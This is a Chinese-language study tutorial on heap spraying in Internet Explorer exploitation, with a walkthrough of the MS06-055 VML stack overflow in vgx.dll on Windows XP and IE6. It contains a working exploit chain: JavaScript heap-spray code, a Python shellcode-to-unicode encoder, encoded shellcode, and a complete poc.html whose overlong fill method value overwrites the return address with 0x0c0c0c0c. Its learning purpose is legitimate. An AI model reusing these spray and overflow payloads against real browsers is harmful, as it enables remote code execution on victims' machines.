摘要:HeapSpray这个技术是IE漏洞利用中非常重要的一点,能够绕过很多利用一般技术很难绕过的保护机制(DEP/ASLR),虽然这并不是一种漏洞利用手法,但是这种手法确实值得我们去研究和掌握。
第一章Heap Spray
HeapSpray常见于浏览器漏洞利用中。
通常使用JavaScript创建大量由Nop和shellcode组成的字符串中。JavaScript运行的时候会将每一个字符串的数据存储在堆中的新块上。
堆的分配通常从起始地址向上增长。所以当我们在为字符串分配了200MB的内存之后,在50MB和200MB之间的大量内存空间都被我们的Nop所填充。此时如果程序存在漏洞,就能将EIP覆盖为这段内存空间的地址,程序将会被控制跳转执行到这些NOP指令并且最终滑向我们的shellcode。
需要注意的是,Heap Spray并不是类似栈溢出/UAF之类的漏洞利用方式,而是一种常见于浏览器攻击的shellcode布置方式,是在找到漏洞之后,为了绕过ASLR/DEP之类的保护机制的一类绕过技巧。
1.1堆喷射原理
在IE漏洞案例中,使用javascript申请200MB内存。其中的结构大概如下
分为200个1MB的块(slide),每个块由 大量的nops和一条shellcode组成。
---1MB---
nop
nop
nop
shellcode
---1MB---
nop
nop
nop
shellcode
-----
.....
---1MB---
nop
nop
nop
shellcode
-----
当Javascript成功申请这些的内存的时候,这些数据会覆盖到0x0c0c0c0c的位置,这样只需要通过缓冲区溢出漏洞将EIP修改为0x0c0c0c0c就能跳转到这个位置。
而slide中存在大量的nops,只要EIP跳转到nops中就会顺利地滑动到shellcode执行,因为shellcode的长度相对于1MB是非常短的,所以成功率并不低。
1.2 javascript堆管理
案例代码
<script language="javascript">
var nop="u9090u9090";
while(nop.length<=0x100000/2)
{
nop+=nop;
}
var slide=new Array();
nop=nop.substring(0,0x100000/2-32/2-4/2-2/2);
alert(nop);
for(var i=0;i<200;i++)
{
slide[i]=nop;
}
</script>
如图所示,堆内存只分配到了0x211000,而0x0ccc0000之后也不是我们分配的内存。
所以实验中,堆并没有为我们分配对应的内存空间,我查询了javascript的内存管理并没有找到具体原因,个人猜测可能是因为填充的数据都是相同的u9090,所以内存就自动优化不进行分配了。可能是来自于windows系统的堆分配优化。
不过解决方案也很简单,实验中将slide添加上一段非u9090的代码时,成功申请了大量堆内存,并且覆盖到了0x0c0c0c0c地址。
修改后的代码
<script language="javascript">
shellcode="u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234";
var nop="u9090u9090";
while(nop.length<=0x100000/2)
{
nop+=nop;
}
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
//nop=nop.substring(0,0x100000-32/2-4/2-2/2);
var slide=new Array();
for(var i=0;i<200;i++)
{
slide[i]=nop+shellcode;
// slide[i]=nop;
}
</script>
成功分配堆内存,可以进入0x0c0c0c0c内存查看具体分配状况。
第二章IE漏洞分析
让我们寻找一个相对方便入手的CVE调试来掌握堆喷射技术
2.1MS06-055分析
实验环境
系统版本:Windows XP SP1
IE版本:IE6(IE5.x或6.x均可)
Vgx.dll版本:6.0.2800.1106(低于6.0.2900.2997即可)
2.1.1 漏洞简介
MS06-055漏洞的出发点在IE浏览器的vgx.dll中,
该文件的可以在C:Program FilesCommonFilesMicrosoft SharedVGX下找到
漏洞成因是SHADETYPE_TEXT::Text(ushortconst *,int)函数对<v:fill>标签的method属性的值缺乏长度检查而导致的栈溢出。
2.1.2 VML简介
vml_test.html
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>migraine</title>
<style>
<!--v:* { behavior: url(#default#VML); }-->
</style>
</head>
<body>
<v:rect style="width:44pt;height:44pt" fillcolor="blue">
<v:fill method="Q" />
</v:rect>
</body>
</html>
![img](file:////var/folders/lv/mx34g1z16nl89qtd0_3rqjk00000gn/T/com.kingsoft.wpsoffice.mac/wps-p0kerface/ksohtml/wpsqowSM7.jpg)
2.1.3 vgx.dll分析
使用IDA分析vgx.dll
IDA符号表导入方案
[不过由于windows xp现在已经下载不到符号表了,所以这次实验也就用不了]
http://www.360doc.com/content/15/0705/16/12129652_482800639.shtml
触发漏洞的函数是_IE5_SHADETYPE_TEXT::TOKENS::TEXT,但是在没有载入符号表的情况下我们是无法直接在IDA中搜索的。尽管我们知道这个函数的地址为0x5AD02D1B
测试环境下Windows XP SP1的vgx.dll版本为6.0.2800.1106,如果系统不同,DLL版本不同也会造成偏差。下文会分析如何在没有符号表的情况下确定这个函数的位置。
不过,首先我们先对这个函数存在的漏洞进行分析。
实际漏洞触发函数是位于text:5AD02D5A 的call sub_5AD02CC0, 字符串没有检测长度,而产生栈溢出。进入这个函数,结合动态调试,确定loc_5AD02CDE->loc_5A02CFE构成的这个循环是造成溢出点的代码。
0x5AD02CF8地址的存放是拷贝的代码,而0x5AD02D04则是循环判断代码。
[ecx+4]存放着输入数据的长度,edx每次循环加二,直到和输入字符串长度相等才停止。
没有存在任何长度的检查或者限制,所以这是导致栈溢出的原因。
动态调试也应证了我的判断,给拷贝字符串的命令下断点,此时DX存放的数据是0x0c就是我们要存放的数据,EDI存放着需要拷贝的地址。而观察此时[ECX+4] 的位置,也存放着我们字符串的长度,此处不再赘述。
2.1.4 栈溢出调试
首先打开我们的vml_test.html,打开ImmunityDbg将进程附加到IE浏览器上。
此时因为我们的vml_test内部调用了vml所以IE自然会载入vgx.dll模块,通过模块查询可以发现,vgx.dll已经载入。
因为Windows XP并没有开启ASLR,所以vgx.dll的基地址和IDA预测的没有区别,直接Ctrl+G进入0x5AD02D1B下断点。
在地址栏中刷新我们的地址,可以看到程序断点在了存在漏洞的函数入口。这样如果需要调试poc,只需要修改我们的vml_test.html,然后刷新浏览器就能进行测试了。
找到我们的vml_test.html中的参数<v:fill method=”Q” />,增加method标签中Q的数量。再次进行调试
观察缓冲区我们填充的Q被存放在了缓冲区中,但是格式思路和我们期望的似乎有些不同。
在两个字符之间多处了x00的编码。原因是在VML在解析我们数据的时候使用的是UNICODE编码,而不是ASCII码,所以Q的ASCII码表示为x51而在UNICODE下则会转化为x00x51,格式为u0051
_IE5_SHADETYPE_TEXT::TOKENS::Ptok函数的EBP为0x12C0D0,所以函数的返回地址位于0x12C0D4,当然调试器也已经帮我标记好了这个地址。
而我们知道之前的缓冲区首地址为0x12BECC,所以我们需要在缓冲区填充0x20c的字节的才能覆盖返回地址。(也就是说0x106个Q)
我们编写POC.html,然后使用当前被调试的IE浏览器访问poc.html
观察此时的栈空间,返回地址已经被覆盖。
显然,只能控制一半的字节是无法完成利用的(当然可以用unescape来输入ascii而不是unicode),在二进制格式中输入ascii(x12)和unicode(u1234)的区别我们已经知道。我们需要在method参数中输入unicode编码,需要遵循这种格式 ሴ
例如如下的参数,在内存中会这样显示
<v:fill method="ሴሴሴሴሴሴሴ" />!
如此构建payload #python -c “print ‘ఌ’*0x106”
<v:fill method="ఌఌఌ....ఌఌఌ" />
不过调试过程出现报错,因为MOV DS:[EAX],EBX (EAX=0x0c0c0c0c)向一个不可写的位置写数据。
抓住罪魁祸首,这句话读取EBP-4位置的数据(位于下图中0x12ccc的位置),存入EAX。
话说EBP-4这个位置让我打了一个寒颤,难道这个DLL开了StackCookie?
不过找到了EAX数据的来源,那我们就将其改为一个可以读取的地址(内存中被标为W的都行,例如0x0012011)。(可以直接用调试器修改寄存器的值)
poc.html
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>migraine</title>
<style>
<!--v:* { behavior: url(#default#VML); }-->
</style>
</head>
<body>
<v:rect style="width:44pt;height:44pt" fillcolor="blue">
<v:fill method="ఌఌఌఌఌఌ...#x0011ఌఌఌఌ" />
</v:rect>
</body>
</html>
到目前位置栈溢出漏洞的利用已经告一段落,上文已经给出我们的poc,接下来就到了本部分的重头戏—Heap Spray.
2.1.5 堆喷射利用
1.对shellcode编码
首先我们将shellcode编码为unicode,因为javascript只读取unicode格式。我们在这里可以使用python对shellcode进行编码。直接贴上脚本。
#!/usr/bin/python
shellcode="xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
shellcode+="x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
shellcode+="x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
shellcode+="x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
shellcode+="xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
shellcode+="x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
shellcode+="xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
shellcode+="xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
shellcode+="x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
shellcode+="x53x68x61x69x6Ex65x68x6Dx69x67x72x8BxC4x53x50x50"
shellcode+="x53xFFx57xFCx53xFFx57xF8"
print "shellcode(Unicode)=",
for i in range(0,len(shellcode),2):
unicode_right=shellcode[i]
unicode_left=shellcode[i+1]
unicode=unicode_left+unicode_right
print "b\u"+unicode.encode('hex'),
脚本编写方面的笔记
1.Python 2如果要print不换行只需要加一个逗号,但是逗号需要产生一个空格,可以用/b去除。
2.str类型的要输出hex,需要使用encode函数。
输出的shellcode
"u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6961u656eu6d68u6769u8b72u53c4u5050uff53ufc57uff53uf857"
2.通过javascript产生堆空间
Javascript申请的堆空间会从0x00000000向内存高地址分配
如果申请200MB(0x0C800000)的内存一定会将0x0c0c0c0c覆盖。
完整的poc.html
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>migraine</title>
<style>
<!--v:* { behavior: url(#default#VML); }-->
</style>
</head>
<script language="javascript">
var shellcode="u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6961u656eu6d68u6769u8b72u53c4u5050uff53ufc57uff53uf857";
var nop="u9090u9090";
while(nop.length<=0x100000/2)
{
nop+=nop;
}
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide=new Array();
for(var i=0;i<200;i++)
{
slide[i]=nop+shellcode;
}
</script>
<body>
<v:rect style="width:44pt;height:44pt" fillcolor="blue">
<v:fill method="ఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌ" />
</v:rect>
</body>
</html>
程序跳转到0x0c0c0c0c之后一路滑行,直到滑到下一个1MB的内存空间,执行shellcode。
2.1.6回顾漏洞挖掘过程
问:在没有符号表的情况下,我们是如何判断程序的漏洞点的。
其实这个漏洞在挖掘上存在一个巧合,填充大量的Q值,发现程序的EIP并没有跳转到0x51515151,但是程序却非常巧合地断在了漏洞函数中。但是程序并没有触发这个漏洞。
不过就凭这一点,要做后期分析也是非常方便的。
不过我们并不恩感每次漏洞挖掘都期待存在这种巧合。
栈回溯技术
我们使用poc中的method参数,假设这是模拟我们在模糊测试中的测试场景,最终会导致EIP跳转。
当Fuzz时,程序发生崩溃。但是当EIP跳转之后,程序会继续运行,然后最终断在某个程序错误中,所以我们很难判断造成程序崩溃的具体函数。
那有没有解决方案呢,我们在这里可以使用栈回溯技术,追踪漏洞的源头。
在运行poc之前首先点击Open or clear run trace,打开栈追踪,然后点击Trace into
等到触发崩溃之后,进入栈追踪的窗口(将调试窗口缩小就能看到了,或者点击View-Call Stack)
发现成功追溯到vgx.5AD02D1B,也就是我们产生漏洞的函数。
小结
结束了堆喷射的学习,目前就把Win下(IE)漏洞的预备知识都复习了一遍了,接下里来学习就要进入快车道了,接下来将重返UAF漏洞的学习,同时寻找好的案例进行解析和Fuzz学习。
参考文献:
[1] 0x3E6.MS06-055(CVE-2006-4868)漏洞分析[DB/OL].
https://blog.csdn.net/qq_31922231/article/details/69791185,2017-04-09
[2]0Day安全:软件漏洞分析技术
[3]magictong.Heap Spray原理浅析[DB.OL].
http://blog.csdn.net/magictong/article/details/7391397,2012-03-24
[4]Yuri800.演示Heap Spray(堆喷射)的原理[DB/OL].
https://blog.csdn.net/lixiangminghate/article/details/53413863,2016-12-01
[5]噗咚Four .[原创]初识堆喷射及事例(暴雷漏洞)分析[DB/OL].
https://bbs.pediy.com/thread-247937.htm,2018-11-23
[6] lostspeed.OD用栈回溯法找程序流程点[DB/OL].
https://blog.csdn.net/lostspeed/article/details/54983244,2017-02-11
[7] 行之.JavaScript中的堆漏洞利用[DB/OL].